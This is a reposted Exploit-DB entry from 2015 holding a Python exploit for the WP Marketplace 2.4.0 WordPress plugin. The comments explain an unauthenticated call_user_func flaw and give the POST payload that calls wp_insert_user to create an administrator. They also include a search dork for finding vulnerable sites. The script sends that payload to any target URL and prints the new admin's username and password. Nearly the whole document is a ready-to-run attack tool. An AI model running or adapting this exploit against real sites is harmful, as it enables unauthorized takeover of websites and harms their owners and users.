WordPress Plugin Marketplace 2.4.0 – Remote Code Execution (Add Admin)

  • 作者: Claudio Viviani
    日期: 2015-03-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/36490/
  • #!/usr/bin/python
    #
    # Exploit Name: WP Marketplace 2.4.0 Remote Command Execution
    #
    # Vulnerability discovered by Kacper Szurek (http://security.szurek.pl)
    #
    # Exploit written by Claudio Viviani
    #
    #
    #
    # --------------------------------------------------------------------
    #
    # The vulnerable function is located on "wpmarketplace/libs/cart.php" file:
    #
    # function ajaxinit(){
    # if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){
    #	if(function_exists($_POST['execute']))
    #		call_user_func($_POST['execute'],$_POST);
    #	else
    #		echo __("function not defined!","wpmarketplace");
    #	die();
    #	}
    #}
    #
    # Any user from any post/page can call wpmp_pp_ajax_call() action (wp hook).
    # wpmp_pp_ajax_call() call functions by call_user_func() through POST data:
    #
    # if (function_exists($_POST['execute']))
    # call_user_func($_POST['execute'], $_POST);
    # else
    # ...
    # ...
    # ...
    #
    # $_POST data needs to be an array
    #
    #
    # The wordpress function wp_insert_user is perfect:
    #
    # http://codex.wordpress.org/Function_Reference/wp_insert_user
    #
    # Description
    #
    # Insert a user into the database.
    #
    # Usage
    #
    # <?php wp_insert_user( $userdata ); ?>
    #
    # Parameters
    #
    # $userdata
    # (mixed) (required) An array of user data, stdClass or WP_User object.
    #Default: None
    #
    #
    #
    # Evil POST Data (Add new WordPress Administrator):
    #
    # action=wpmp_pp_ajax_call&execute=wp_insert_user&user_login=NewAdminUser&user_pass=NewAdminPassword&role=administrator
    #
    # ---------------------------------------------------------------------
    #
    # Dork google:index of "wpmarketplace"
    #
    # Tested on WP Markeplace 2.4.0 version with BackBox 3.x and python 2.6
    #
    # Http connection
    import urllib, urllib2, socket
    #
    import sys
    # String manipulator
    import string, random
    # Args management
    import optparse
    
    # Check url
    def checkurl(url):
    if url[:8] != "https://" and url[:7] != "http://":
    print('[X] You must insert http:// or https:// procotol')
    sys.exit(1)
    else:
    return url
    
    # Check if file exists and has readable
    def checkfile(file):
    if not os.path.isfile(file) and not os.access(file, os.R_OK):
    print '[X] '+file+' file is missing or not readable'
    sys.exit(1)
    else:
    return file
    
    def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
    
    banner = """
    ___ ___ __ 
     | Y .-----.----.--|.-----.----.-----.-----.-----. 
     |.| |_| _|_|_| _|-__|__ --|__ --| 
     |. / \|_____|__| |_____| __|__| |_____|_____|_____| 
     |:||__| 
     |::.|:. | 
     `--- ---' 
     ___ _______ __
    | Y .---.-.----||--.-----||_.-----|.---.-.----.-----.
    |.|_| _|<|-__| _|_||_|__|-__|
    |. \_/|___._|__| |__|__|_____|____| __|__|___._|____|_____|
    |:| | |__| 
    |::.|:. |
    `--- ---'
    WP Marketplace
    R3m0t3 C0d3 Ex3cut10n
     (Add WP Admin)
     v2.4.0
    
     Written by:
    
     Claudio Viviani
    
    http://www.homelab.it
    
     info@homelab.it
     homelabit@protonmail.ch
    
     https://www.facebook.com/homelabit
    https://twitter.com/homelabit
    https://plus.google.com/+HomelabIt1/
     https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
    """
    
    commandList = optparse.OptionParser('usage: %prog -t URL [--timeout sec]')
    commandList.add_option('-t', '--target', action="store",
    help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
    )
    commandList.add_option('--timeout', action="store", default=10, type="int",
    help="[Timeout Value] - Default 10",
    )
    
    options, remainder = commandList.parse_args()
    
    # Check args
    if not options.target:
    print(banner)
    commandList.print_help()
    sys.exit(1)
    
    host = checkurl(options.target)
    timeout = options.timeout
    
    print(banner)
    
    socket.setdefaulttimeout(timeout)
    
    username = id_generator()
    pwd = id_generator()
    
    body = urllib.urlencode({'action' : 'wpmp_pp_ajax_call',
     'execute' : 'wp_insert_user',
     'user_login' : username,
     'user_pass' : pwd,
     'role' : 'administrator'})
    
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}
    
    print "[+] Tryng to connect to: "+host
    try:
    req = urllib2.Request(host+"/", body, headers)
    response = urllib2.urlopen(req)
    html = response.read()
    
    if html == "":
     print("[!] Account Added")
     print("[!] Location: "+host+"/wp-login.php")
     print("[!] Username: "+username)
     print("[!] Password: "+pwd)
    else:
     print("[X] Exploitation Failed :(")
    
    except urllib2.HTTPError as e:
    print("[X] "+str(e))
    except urllib2.URLError as e:
    print("[X] Connection Error: "+str(e))